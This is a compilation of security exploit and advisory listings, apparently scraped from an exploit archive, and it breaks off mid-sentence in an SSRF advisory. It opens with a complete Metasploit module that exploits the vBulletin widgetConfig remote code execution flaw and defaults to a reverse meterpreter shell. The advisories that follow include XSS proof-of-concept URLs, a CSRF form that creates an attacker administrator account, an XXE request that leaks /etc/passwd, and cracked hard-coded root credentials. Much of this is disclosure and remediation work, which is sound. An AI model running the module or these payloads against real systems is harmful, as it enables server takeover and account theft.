This Metasploit module exploits vBulletin versions 5.x through 5.5.4 leveraging a remote command execution vulnerability via the widgetConfig[code] parameter in an ajax/render/widget_php routestring POST request.

MD5 | 12d01f78d7c81ffd50f6373629755cb8

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBulletin widgetConfig RCE',
'Description' => %q{
vBulletin 5.x through 5.5.4 allows remote command execution via the widgetConfig[code]
parameter in an ajax/render/widget_php routestring POST request.
},
'Author' => [
'unknown', # discovered by an unknown sender.
'mekhalleh (RAMELLA Sébastien)' # this module.
],
'References' => [
['CVE', '2019-16759'],
['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'],
['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html']
],
'DisclosureDate' => '2019-09-23',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'windows'],
'Arch' => [ARCH_CMD, ARCH_PHP],
'Privileged' => true,
'Targets' => [
['Meterpreter (PHP In-Memory)',
'Platform' => 'php',
'Arch' => [ARCH_PHP],
'Type' => :php_memory,
'Payload' => {
'BadChars' => "x22",
},
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'DisablePayloadHandler' => 'false'
}
],
['Unix (CMD In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'DisablePayloadHandler' => 'true'
}
],
['Windows (CMD In-Memory)',
'Platform' => 'windows',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/generic',
'DisablePayloadHandler' => 'true'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
))

register_options([
OptString.new('TARGETURI', [true, 'The URI of the vBulletin base path', '/']),
OptEnum.new('PHP_CMD', [true, 'Specify the PHP function in which you want to execute the payload.', 'shell_exec', ['shell_exec', 'exec']])
])

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def cmd_payload(command)
return("echo #{datastore['PHP_CMD']}('#{command}'); exit;")
end

def execute_command(command)
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'encode_params' => true,
'vars_post' => {
'routestring' => 'ajax/render/widget_php',
'widgetConfig[code]' => command
}
})
if (response) && (response.body)
return response
end

return false
end

def check
rand_str = Rex::Text.rand_text_alpha(8)
received = execute_command(cmd_payload("echo #{rand_str}"))
if received && received.body.include?(rand_str)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
unless check.eql? Exploit::CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
end
end
vprint_good("The target appears to be vulnerable.")

print_status("Sending #{datastore['PAYLOAD']} command payload")
case target['Type']
when :unix_cmd, :windows_cmd
cmd = cmd_payload(payload.encoded)
vprint_status("Generated command payload: #{cmd}")

received = execute_command(cmd)
if (received) && (datastore['PAYLOAD'] == "cmd/#{target['Platform']}/generic")
print_warning('Dumping command output in body response')
if received.body.empty?
print_error('Empty response, no command output')
return
end
print_line("#{received.body}")
end

when :php_memory
vprint_status("Generated command payload: #{payload.encoded}")
execute_command(payload.encoded)
end
end
end

Source

CA Technologies, A Broadcom Company, is alerting customers to a potential risk with CA Nolio (Release Automation) in the DataManagement component. A vulnerability exists that can allow a remote attacker to execute arbitrary code. CA published a solution to address the vulnerability and recommends that all affected customers implement this solution. The vulnerability occurs due to insecure deserialization. A remote attacker may execute arbitrary commands by exploiting insecure deserialization through the DataManagement service.

MD5 | 9248904c6a72fc2220b9a25d486cb249

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

CA20191209-01: Security Notice for CA Nolio (Release Automation)

Issued: December 9th, 2019
Last Updated: December 9th, 2019

CA Technologies, A Broadcom Company, is alerting customers to a
potential risk with CA Nolio (Release Automation) in the
DataManagement component. A vulnerability exists that can allow a
remote attacker to execute arbitrary code. CA published a solution
to address the vulnerability and recommends that all affected
customers implement this solution.

The vulnerability, CVE-2019-19230, occurs due to insecure
deserialization. A remote attacker may execute arbitrary commands by
exploiting insecure deserialization through the DataManagement
service.

Risk Rating

High

Platform(s)

All supported platforms

Affected Products

CA Nolio (formerly CA Release Automation) 6.6

How to determine if the installation is affected

Customers may use the product version to determine if their Nolio
installation is affected. The vulnerability impacts the
DataManagement component, which is the main product component on all
Management Servers (aka NACs).

Solution

Broadcom published the following solutions to address the
vulnerability. Customers should also review the Secure
Communications documentation.

Fix documentation
Whats.new.6.6.0.10215.txt

CA Nolio (Release Automation) 6.6 Linux:
nolio_patch_linux-x64_6_6_0_b10215.zip

CA Nolio (Release Automation) 6.6 Windows:
nolio_patch_windows-x64_6_6_0_b10215.zip


References
CVE-2019-19230 - CA Nolio (Release Automation) DataManagement
deserialization

Acknowledgement

CVE-2019-19230 - Jakub Palaczynski and Robert Podsiadlo from ING
Tech Poland

Change History

Version 1.0: 2019-12-09 - Initial Release

CA customers may receive product alerts and advisories by
subscribing to Proactive Notifications on the support site.

Customers who require additional information about this notice may
contact CA Technologies Support at https://casupport.broadcom.com/

To report a suspected vulnerability in a CA Technologies product,
please send a summary to CA Technologies Product Vulnerability
Response at ca.psirt broadcom.com

Security Notices, PGP key, and disclosure policy and guidance
https://techdocs.broadcom.com/ca-psirt

Kevin Kotas
CA Product Security Incident Response Team

Copyright 2019 Broadcom. All Rights Reserved. The term "Broadcom"
refers to Broadcom Inc. and/or its subsidiaries. Broadcom, the pulse
logo, Connecting everything, CA Technologies and the CA technologies
logo are among the trademarks of Broadcom. All trademarks, trade
names, service marks and logos referenced herein belong to their
respective companies.

-----BEGIN PGP SIGNATURE-----
Charset: utf-8

wsBVAwUBXe/B2LZ6yOO9o8STAQjRJgf/XEPmnbxEMup00b9/kySn3PL/W8XEHsb1
xA14xV47ctFsbOwglyjnN5E9fyOgC8ztoAQXNCNC90ZmzFHDTUYPJbm+VTj4IhOa
apEi37D58uRAKK7QWNvxpCBqHwzQETi9UuZ6TUFbw0Xl7qcwFCs2UafZVPAZJfOF
7abjEDDalrhZSjKHjVmb11NpBWESgWeM9QHaG+quZlgI2vQT1MNss8H3GJlJfeEH
UY+iv0RKmNUYleEs/qeV1PKn0B4lAXg2KLcWXjBV4vNk6fCjBj/18Rc88gmYCoQE
HkOXoq1V0nIaOCrPXr/lxKa3b1o3v0vJVXkJftzB8Ao0j2oZaFotiA==
=Ggld
-----END PGP SIGNATURE-----

Source

DAViCal CalDAV Server versions 1.1.8 and below suffer from a reflective cross site scripting vulnerability.

MD5 | 106d6376bfe42cd1d4a6aa71f7885eaa

Original text at:
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9.1 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9.1 immediately
to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 – (this advisory) Reflected Cross-Site Scripting
CVE-2019-18346 – Cross-Site Request Forgery
CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18345
CVSS score: 9.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

A reflected cross-site scripting (XSS) vulnerability was found in
multiple pages of the DAViCal CalDAV Server. This is possible because
the application echoes user supplied input without encoding.

POC URL:
http://davical.host/admin.php?action=edit&t=">alert()&id=1

Impact
======

If a user visits an attacker-supplied link, the attacker can view all
data the attacked user can view, as well as perform all actions in the
name of the user. If the user is administrator, the attacker can for
example change the password of the user to take over the account and
gain full access to the application.

Solution
========

Update to version 1.1.9.1

Technical solution details
==========================

XSS vulnerabilities are a problem with dynamically generated websites
that use user input. If user input is not correctly sanitized you could
very well end up with a user pushing some javascript to your frontend.

XSS isn’t a vulnerability that’s hard to grasp or circumvent but it’s
awfully easy to make a mistake like that. One thing you’ll hear over and
over again is never to trust user input. Always sanitize it when it
comes in and it’s best to still not trust it then. Characters like
and " should never be rawly echoed to the frontend. The use cases for
echoing user input back to the frontend are endless. From a simple
"Greetings, $username" to editing personal user information with the
form having all the fields already filled in. So when someone has a
quote in their name, you shouldn’t echo the raw quote but &­quot;.

These days web frameworks handle a lot of sanitation for us. Laravel for
example uses simple brackets to echo variables to the user all these
variables are escaped first: {{ $username }}. Twig does something
similar by using a pipe like syntax: {{ $username | escape}}.

These days when developing your application you need to make sure you
sanitize everything you output to the user. But since DAViCal is an
established project it’s not doable to sift through the code to look for
functions that output text to the frontend. Another problem was that
DAViCal dynamically adds GET parameters to echoed urls. This is why I
chose to sanitize both incoming variables and their names. In the
DAViCal always.php I added a function that loops through the $_GET and
$_POST array recursively (as arrays can contain arrays and so forth) and
run the names and variables through htmlspecialchars() except for the
password field which of course should be able to have special characters
in them.

The reason you don’t do it this way in new applications is because now
if for some reason someone has another way of interacting with your
application (by API calls for example) you’d have to sanitize your input
on both sides. Moreover, APIs that pass JSON objects around for example,
don’t need to have script tags encoded as it means nothing to them and
JSON objects are encoded in a different way. In this case however,
DAViCal doesn’t have other entry points which you can use to insert data
in the database. So sanitizing all input once will suffice!

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/


Source

DAViCal CalDAV Server versions 1.1.8 and below suffer from a cross site request forgery vulnerability.

MD5 | 71241e8b0dd14c1b51e8708854a79e80

Original text at:
https://hackdefense.com/publications/cve-2019-18346-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9.1 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9.1
immediately to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 — Reflected Cross-Site Scripting
CVE-2019-18346 – (this advisory) Cross-Site Request Forgery
CVE-2019-18347 – Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18346
CVSS score: 8.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

The application has no protection against CSRF attacks. If an
authenticated user visits an attacker-controlled webpage (for example,
in another browser tab), the attacker can send arbitrary requests in the
name of the user to the application, including requests that result in a
state change.

For example, if an attacker includes the following HTML code on his/​her
site and an authenticated DAViCal administrator visits, a new
administrative account ​“hacker” (password also ​“hacker”) will
automatically be created in the background, giving the attacker full
access to the calendaring application:



history.pushState('', '', '/')
<form action="http://davical.host/admin.php?action=edit&t=principal"
method="POST" enctype="multipart/form-data">




<input type="hidden" name="email"
value="hacker@hacktheplanet.com" />







<input type="hidden"
name="default_privileges[fake_privilege_for_input]"
value="0" />
<input type="hidden" name="default_privileges[read]"
value="on" />
<input type="hidden"
name="default_privileges[write-properties]" value="on" />
<input type="hidden"
name="default_privileges[write-content]" value="on" />
<input type="hidden" name="default_privileges[unlock]"
value="on" />
<input type="hidden" name="default_privileges[read-acl]"
value="on" />
<input type="hidden"
name="default_privileges[read-current-user-privilege-set]"
value="on" />
<input type="hidden" name="default_privileges[bind]"
value="on" />
<input type="hidden" name="default_privileges[unbind]"
value="on" />
<input type="hidden"
name="default_privileges[write-acl]" value="on" />
<input type="hidden"
name="default_privileges[read-free-busy]" value="on" />
<input type="hidden"
name="default_privileges[schedule-deliver-invite]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-deliver-reply]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-query-freebusy]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-invite]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-reply]"
value="on" />
<input type="hidden"
name="default_privileges[schedule-send-freebusy]"
value="on" />
<input type="hidden" name="_editor_action[editor_1]"
value="insert" />




document.forms[0].submit();




Impact
======

In a successful CSRF attack, the attacker can change the e‑mail address
and password on a victim’s account, which results in a full account
takeover. If the compromised user has a privileged (administrator) role
within the application, then the attacker is also able to add a new
administrator user.

Solution
========

Update to version 1.1.9.1


Technical solution details
==========================

The most robust way to defend against CSRF attacks is to include a CSRF
token within relevant requests. The idea is that you assign a unique
token to a user’s session, this token can be regenerated whenever but
this usually happens when a new session is created (e.g.when the user
logs out and logs back in). This token is then required to be sent along
with the rest of the data you want to submit. Prior to performing the
action the called route is supposed to perform(let’s say you want to
update your user information) the application will check if a CSRF token
is present and whether it’s the right one. Onab.comce those two checks
pass the application will continue executing.

So the first task was to write a library that would generate a CSRF
token and attach it to the session. That’s all pretty basic, the only
thing I had to take into account is that the current requirement for
DAViCal is PHP 5.6.0 and up so I had to keep backwards compatibility in
mind. The token is generated by a random number generator (which one is
decided by the current PHP version) and then assigned to the user. Once
that was done the only thing left is to make sure every information
altering request verifies the CSRF token.

The modern way most web frameworks will handle this is by using
middleware. Let’s say you map a route to a function in your code,you can
then put a CSRF middleware in the middle of that ​‘mapping’. So let’s
say you’ve got the following mapping:

‘/​user/​information/​update’> updateUserInformation();

You’d then tell your framework to use a CSRF middleware which would
change the flow to:

‘/​user/​information/​update’> checkCSRF(); > updateUserInformation();

DAViCal however is quite an old project (the copyright states 2006 as
starting year) and we don’t have the luxury of a framework handling
these things for us. The easiest solution is to find every place a
POSTrequest is made and manually verifying the token at those places.
But I was keen to find out if there was a more central place I could put
the CSRF verifying function. As every developer will know, getting to
know and understand someone else’s code can be quite a tough one. I
found myself using xdebugquite a lot to figure out the flow of the
application until something quite obvious became apparent. There is a
PHP file in the project called ​‘always.php’ which always runs. This
file can be used to launch a function on every page load. This is where
I added a function to check the CSRF token on POST requests (which are
used in DAViCal to alter information).

The final act was adding the CSRF tokens to all the forms in DAViCal
which could be easily found by searching for . Which concluded
the fix for the CSRF vulnerability in DAViCal.

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/

Source

DAViCal CalDAV Server versions 1.1.8 and below suffer from a persistent cross site scripting vulnerability.

MD5 | 168863215252aa9df18b7fb2768cce78

Original text at:
https://hackdefense.com/publications/cve-2019-18347-davical-caldav-server-vulnerability/

At HackDefense, we were evaluating various calendaring solutions, and
during installation and configuration of DAViCal we discovered three
(severe) vulnerabilities. We reported these vulnerabilities to the
vendor. Unfortunately, the DAViCal project itself was not able to fix
these vulnerabilities. As DAViCal is an open source project we decided
to contribute patches for these vulnerabilities ourselves. DAViCal has
accepted our patches in the 1.1.9 release. If you use DAViCal as a
calendaring server, we recommend upgrading to version 1.1.9 immediately
to remediate the issues we’ve discovered.

All three vulnerabilities exist in the web-based management pages that
come with DAViCal. We have written three separate advisories to describe
the vulnerabilities:

CVE-2019-18345 — Reflected Cross-Site Scripting
CVE-2019-18346 — Cross-Site Request Forgery
CVE-2019-18347 — (this advisory) Persistent Cross-Site Scripting

CVE Reference: CVE-2019-18347
CVSS score: 9.9
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

About DAViCal
=============

DAViCal is a server for calendar sharing. It is an implementation of the
CalDAV protocol which is designed for storing calendaring resources on a
remote shared server. It can be used by various e‑mail and calendaring
clients to centrally store and share calendars.

It includes a web-based management application. It was in these pages
that we discovered this vulnerability.

Affected systems
================

DAViCal CalDAV Server 1.1.8 and prior

Overview
========

The application does not validate user input like email addresses,
usernames and display names. In addition, the web application does not
encode these user input when echoing them to in the web pages. An attack
with a low privileged account can exploit these issues to execute a
Persistent Cross-site Scripting (XSS) attack.

POC URL: http://davical.host/admin.php?action=edit&t=principal&id=1

Place a XSS payload in the username or fullname field e.g.
alert()

Impact
======

An attacker can use XSS to send a malicious JavaScript to an
unsuspecting user. The end user’s browser has no way to know that the
script should not be trusted, and will execute the script. Because the
browser thinks the script came from a trusted source, the malicious
JavaScript can access session tokens (without the HttpOnly flag) or
other sensitive information retained by the browser and used with that
site in the context of the victim.

If the user is administrator, the attacker can for example change the
password of the user to take over the account and gain full access to
the application.

In this case, because the Javascript is stored in the database and
included in pages others can open, it can be used by one user to attack
other users on the same system.

Combined with a CSRF attack (see CVE-2019 – 18346) it is possible to
attack users from the outside as well, if an authenticated DAViCal user
visits the attacker’s web site.

Solution
========

Update to version 1.1.9.1

Technical solution details
==========================

XSS vulnerabilities are a problem with dynamically generated websites
that use user input. If user input is not correctly sanitized you could
very well end up with a user pushing some javascript to your frontend.

XSS isn’t a vulnerability that’s hard to grasp or circumvent but it’s
awfully easy to make a mistake like that. One thing you’ll hear over and
over again is never to trust user input. Always sanitize it when it
comes in and it’s best to still not trust it then. Characters like
and " should never be rawly echoed to the frontend. The use cases for
echoing user input back to the frontend are endless. From a simple
"Greetings, $username" to editing personal user information with the
form having all the fields already filled in. So when someone has a
quote in their name, you shouldn’t echo the raw quote but &­quot;.

These days web frameworks handle a lot of sanitation for us. Laravel for
example uses simple brackets to echo variables to the user all these
variables are escaped first: {{ $username }}. Twig does something
similar by using a pipe like syntax: {{ $username | escape}}.

These days when developing your application you need to make sure you
sanitize everything you output to the user. But since DAViCal is an
established project it’s not doable to sift through the code to look for
functions that output text to the frontend. Another problem was that
DAViCal dynamically adds GET parameters to echoed urls. This is why I
chose to sanitize both incoming variables and their names. In the
DAViCal always.php I added a function that loops through the $_GET and
$_POST array recursively (as arrays can contain arrays and so forth) and
run the names and variables through htmlspecialchars() except for the
password field which of course should be able to have special characters
in them.

The reason you don’t do it this way in new applications is because now
if for some reason someone has another way of interacting with your
application (by API calls for example) you’d have to sanitize your input
on both sides. Moreover, APIs that pass JSON objects around for example,
don’t need to have script tags encoded as it means nothing to them and
JSON objects are encoded in a different way. In this case however,
DAViCal doesn’t have other entry points which you can use to insert data
in the database. So sanitizing all input once will suffice!

Responsible Disclosure timeline
===============================

04-Jan-2019 Reported to the DAViCal CalDAV Server project (no response)
21-Jan-2019 Reported to the DAViCal CalDAV Server project again
22-Jan-2019 Report acknowledged
28-May-2019 Asked for an update regarding these vulnerabilities
29-May-2019 The DAViCal project responded that they did not have
resources to implement a fix for these vulnerabilities
31-May-2019 Partnered up with Niels van Gijzen to contribute a patch
24-Oct-2019 CVE-2019-18345, CVE-2019-18346 and CVE-2019-18347 were
assigned to these vulnerabilities
25-Oct-2019 Released a patch that fixes these vulnerabilities
29-Nov-2019 DAViCal verified the patch
03-Dec-2019 DAViCal released version 1.1.9.1 including our patch

Useful links
============

DAViCal 1.1.9.1 Release Notes
https://wiki.davical.org/index.php/Release_Notes/1.1.9.1

DAViCal 1.1.9.1 on Gitlab
https://gitlab.com/davical-project/davical

This advisory
https://hackdefense.com/publications/cve-2019-18345-davical-caldav-server-vulnerability/


Source

Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs).

MD5 | ea9e9078ff2e175332f0095c60284458

Source

Apache Olingo OData versions 4.x.x through 4.6.x suffer from an XML external entity injection vulnerability.

MD5 | 051e029f16764feddeb7a0590f43de8e

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: Apache Olingo OData 4.0
# Vendor: Apache Foundation
# CSNC ID: CSNC-2009-025
# CVE ID: CVE-2019-17554
# Subject: XML External Entity Resolution (XXE)
# Risk: High
# Effect: Remotely exploitable
# Author: Archibald Haddock (advisories@compass-security.com)
# Date: 08.11.2019
#
#############################################################

Introduction:
-------------
Apache Olingo is a Java library that implements the Open Data Protocol (OData). [1]
XML data is parsed by insecurley configured software components, which can be abused for XML External Entity Attacks [2].



Affected:
---------
Vulnerable:
* Olingo OData 4.x.x to 4.6.x

Not vulnerable:
* Olingo OData 4.7.0
* The Olingo OData 2.0 implementation has XXE protection since 1.1.0-RC01

Technical Description
---------------------
The XML content type entity deserializer is not configured to deny the resolution of external entities.
Request with content type "application/xml", which trigger the deserialization of entities, can be used to trigger XXE attacks.

Request
======
POST /odata-server-sample/cars.svc/Cars HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8081/odata-server-sample/
Cookie: JSESSIONID=17C3158153CDC2CA1DBA0E77D4AFC3B0
Upgrade-Insecure-Requests: 1
content-type: application/xml
Content-Length: 1101


<!DOCTYPE foo [ ]>

Cars(1)


2019-11-08T15:10:30Z








1
F1 &xxe;
2012
189189.43
EUR




Response
========
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
OData-Version: 4.0
Content-Type: application/xml
Content-Length: 960
Date: Fri, 08 Nov 2019 14:22:35 GMT
Connection: close

Cars(1)2019-11-08T15:22:35Z1
myuser:x:1000:1000:,,,:/home/myuser:/bin/bash
2012189189.43EUR



Workaround / Fix:
-----------------
Configure the XML reader securely [3].

In org.apache.olingo.server.core.deserializer.xml.ODataXmlDeserializer.java on line 70 a javax.xml.stream.XMLInputFactory is instanciated:
private static final XMLInputFactory FACTORY = XMLInputFactory.newFactory();

The XMLInputFactory should be configured, not to resolve external entities:
FACTORY.setProperty(XMLInputFactory.SUPPORT_DTD, false);
FACTORY.setProperty("javax.xml.stream.isSupportingExternalEntities", false);


Timeline:
---------
2019-11-08: Discovery by Compass Security
2019-11-08: Initial vendor notification
2019-11-08: Initial vendor response
2019-12-04: Release of fixed Version / Patch [4]
2019-12-05: Coordinated public disclosure date


[1] https://olingo.apache.org/
[2] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
[3] https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
[4] https://mail-archives.apache.org/mod_mbox/olingo-user/201912.mbox/%3CCAGSZ4d7Ty%3DL-n_iAzT6vcQp65BY29XZDS5tMoM8MdDrb1moM7A%40mail.gmail.com%3E

Source: https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2019-025_apache_xxe.txt

Source

Inim Electronics Smartliving SmartLAN/G/SI versions 6.x and below suffer from a hard-coded credential vulnerability.

MD5 | 04f17bebbbf0986a1f927de3cebd3ef5


Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials


Vendor: INIM Electronics s.r.l.
Product web page: https://www.inim.biz
Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
Affected version: <=6.x
Affected models: SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3

Summary: SmartLiving anti-intrusion control panel and security system provides
important features rarely found in residential, commercial or industrial application
systems of its kind. This optimized-performance control panel provides first-rate
features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
end-to-end voice transmission (voice-on-bus), IP connectivity.

SMARTLAN/SI:
The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
networking capability and fast connectivity to the Internet. Therefore, it is possible
to set up a remote connection and program or control the system via the SmartLeague
software application. In effect, the SmartLAN/SI board grants the same level of access
to the system as a local RS232 connection.

SMARTLAN/G:
The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
advanced remote-access and communication functions. The SmartLAN/G board is capable of
sending event-related e-mails automatically. Each e-mail can be associated with a subject,
an attachment and a text message. The attachment can be of any kind and is saved to an
SD card. The message text can contain direct links to domains or IP addressable devices,
such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
global access to their control panels via any Internet browser accessed through a PC,
PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
distinguishing the means of connection and as a result provides an appropriate web-page
for the tool in use. Smartphones can control the system in much the same way as a
household keypad, from inside the house or from any part of the world.

Desc: The devices utilizes hard-coded credentials within its Linux distribution image.
These sets of credentials (Telnet, SSH, FTP) are never exposed to the end-user and cannot
be changed through any normal operation of the smart home device. Attacker could exploit
this vulnerability by logging in and gain system access.

Tested on: GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2019-5546
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php


06.09.2019

--


# cat /etc/passwd
root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:administrator:/:/bin/sh
nobody:*:254:254:nobody:/var/empty:/bin/sh
logout:gfr8cijmRSDck:498:506:logout:/:

# john --show /etc/passwd
root:pass:0:0:administrator:/:/bin/sh
logout:logout:498:506:logout:/:

2 password hashes cracked, 0 left

Source

Inim Electronics Smartliving SmartLAN/G/SI versions 6.x and below suffer from an unauthenticated server-side request forgery vulnerability.

MD5 | f21751ca54479762c2e2bdb3358bab9d


Inim Electronics Smartliving SmartLAN/G/SI <=6.x Unauthenticated SSRF


Vendor: INIM Electronics s.r.l.
Product web page: https://www.inim.biz
Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
Affected version: <=6.x
Affected models: SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3

Summary: SmartLiving anti-intrusion control panel and security system provides
important features rarely found in residential, commercial or industrial application
systems of its kind. This optimized-performance control panel provides first-rate
features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
end-to-end voice transmission (voice-on-bus), IP connectivity.

SMARTLAN/SI:
The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
networking capability and fast connectivity to the Internet. Therefore, it is possible
to set up a remote connection and program or control the system via the SmartLeague
software application. In effect, the SmartLAN/SI board grants the same level of access
to the system as a local RS232 connection.

SMARTLAN/G:
The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
advanced remote-access and communication functions. The SmartLAN/G board is capable of
sending event-related e-mails automatically. Each e-mail can be associated with a subject,
an attachment and a text message. The attachment can be of any kind and is saved to an
SD card. The message text can contain direct links to domains or IP addressable devices,
such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
global access to their control panels via any Internet browser accessed through a PC,
PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
distinguishing the means of connection and as a result provides an appropriate web-page
for the tool in use. Smartphones can control the system in much the same way as a
household keypad, from inside the house or from any part of the world.

Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the
